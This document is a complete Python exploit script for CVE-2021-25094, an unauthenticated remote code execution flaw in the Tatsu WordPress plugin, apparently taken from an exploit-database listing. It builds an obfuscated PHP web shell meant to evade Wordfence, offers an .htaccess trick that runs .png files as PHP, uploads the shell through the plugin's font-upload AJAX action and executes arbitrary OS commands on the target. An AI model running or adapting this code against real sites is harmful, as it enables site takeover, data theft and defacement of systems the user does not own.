1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 |
# Exploit Title:Tatsu 3.3.11 - Unauthenticated RCE # Date: 2025-04-16 # Exploit Author: Milad Karimi (Ex3ptionaL) # Contact: miladgrayhat@gmail.com # Zone-H: www.zone-h.org/archive/notifier=Ex3ptionaL # MiRROR-H: https://mirror-h.org/search/hacker/49626/ # Product: Tatsu wordpress plugin <= 3.3.11 # CVE: CVE-2021-25094 # URL: https://tatsubuilder.com/ import sys import requests import argparse import urllib3 import threading import time import base64 import queue import io import os import zipfile import string import random from datetime import datetime urllib3.disable_warnings() class HTTPCaller(): def __init__(self, url, headers, proxies, cmd): self.url = url self.headers = headers self.proxies = proxies self.cmd = cmd self.encodedCmd = base64.b64encode(cmd.encode("utf8")) self.zipname = None self.shellFilename = None if self.url[-1] == '/': self.url = self.url[:-1] if proxies: self.proxies = {"http" : proxies, "https" : proxies} else: self.proxies = {} def generateZip(self, compressionLevel, technique, customShell, keep): buffer = io.BytesIO() with zipfile.ZipFile(buffer, "w", zipfile.ZIP_DEFLATED, False, compressionLevel) as zipFile: if technique == "custom" and customShell and os.path.isfile(customShell): with open(customShell) as f: shell = f.readlines() shell = "\n".join(shell) self.shellFilename = os.path.basename(customShell) if self.shellFilename[0] != ".": self.shellFilename = "." + self.shellFilename zipFile.writestr(self.shellFilename, shell) elif technique == "php": # a lazy obfuscated shell, basic bypass Wordfence # i would change base64 encoding for something better shell = "<?php " shell += "$f = \"lmeyst\";" shell += "@$a= $f[4].$f[3].$f[4].$f[5].$f[2].$f[1];" shell += "@$words = array(base64_decode($_POST['text']));" shell += "$j=\"array\".\"_\".\"filter\";" shell += "@$filtered_words = $j($words, $a);" if not keep: shell += "@unlink(__FILE__);" self.shellFilename = "." + (''.join(random.choice(string.ascii_lowercase) for i in range(5))) + ".php" zipFile.writestr(self.shellFilename, shell) elif technique.startswith("htaccess"): # requires AllowOverride All in the apache config file shell = "AddType application/x-httpd-php .png\n" zipFile.writestr(".htaccess", shell) shell = "<?php " shell += "$f = \"lmeyst\";" shell += "@$a= $f[4].$f[3].$f[4].$f[5].$f[2].$f[1];" shell += "@$words = array(base64_decode($_POST['text']));" shell += "$j=\"array\".\"_\".\"filter\";" shell += "@$filtered_words = $j($words, $a);" if not keep: shell += "@unlink('.'+'h'+'t'+'a'+'cc'+'e'+'ss');" shell += "@unlink(__FILE__);" self.shellFilename = "." + (''.join(random.choice(string.ascii_lowercase) for i in range(5))) + ".png" zipFile.writestr(self.shellFilename, shell) else: print("Error: unknow shell technique %s" % technique) sys.exit(1) self.zipname = ''.join(random.choice(string.ascii_lowercase) for i in range(3)) self.zipFile = buffer def getShellUrl(self): return "%s/wp-content/uploads/typehub/custom/%s/%s" % (self.url, self.zipname, self.shellFilename) def executeCmd(self): return requests.post(url = self.getShellUrl(), data = {"text": self.encodedCmd}, headers = self.headers, proxies = self.proxies, verify=False) def upload(self): url = "%s/wp-admin/admin-ajax.php" % self.url files = {"file": ("%s.zip" % self.zipname, self.zipFile.getvalue())} return requests.post(url = url, data = {"action": "add_custom_font"}, files = files, headers = self.headers, proxies = self.proxies, verify=False) def main(): description = "|=== Tatsudo: pre-auth RCE exploit for Tatsu wordpress plugin <= 3.3.8\n" description += "|=== CVE-2021-25094 / Vincent MICHEL (@darkpills)" print(description) print("") parser = argparse.ArgumentParser() parser.add_argument("url", help="Wordpress vulnerable URL (example: https://mywordpress.com/)") parser.add_argument("cmd", help="OS command to execute") parser.add_argument('--technique', help="Shell technique: php | htaccess | custom", default="php") parser.add_argument('--customShell', help="Provide a custom PHP shell file that will take a base64 cmd as $_POST['text'] input") parser.add_argument('--keep', help="Do not auto-destruct the uploaded PHP shell", default=False, type=bool) parser.add_argument('--proxy', help="Specify and use an HTTP proxy (example: http://localhost:8080)") parser.add_argument('--compressionLevel', help="Compression level of the zip file (0 to 9, default 9)", default=9, type=int) args = parser.parse_args() # Use web browser-like header headers = { "X-Requested-With": "XMLHttpRequest", "Origin": args.url, "Referer": args.url, "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36", "Accept": "*/*", "Accept-Language": "en-US,en;q=0.9" } caller = HTTPCaller(args.url, headers, args.proxy, args.cmd) print("[+] Generating a zip with shell technique '%s'" % args.technique) caller.generateZip(args.compressionLevel, args.technique, args.customShell, args.keep) print("[+] Uploading zip archive to %s/wp-admin/admin-ajax.php?action=add_custom_font" % (args.url)) r = caller.upload() if (r.status_code != 200 or not r.text.startswith('{"status":"success"')): print("[!] Got an unexpected HTTP response: %d with content:\n%s" % (r.status_code, r.text)) print("[!] Exploit failed!") sys.exit(1) print("[+] Upload OK") print("[+] Trigger shell at %s" % caller.getShellUrl()) r = caller.executeCmd() if (r.status_code != 200): print("[!] Got an unexpected HTTP response: %d with content:\n%s" % (r.status_code, r.text)) print("[!] Exploit failed!") sys.exit(1) print("[+] Exploit success!") print(r.text) if args.keep: print("[+] Call it with:") print('curl -X POST -d"text=$(echo "{0}" | base64 -w0)" {1}'.format(args.cmd, caller.getShellUrl())) else: print("[+] Shell file has been auto-deleted but parent directory will remain on the webserver") print("[+] Job done") if __name__ == '__main__': main() |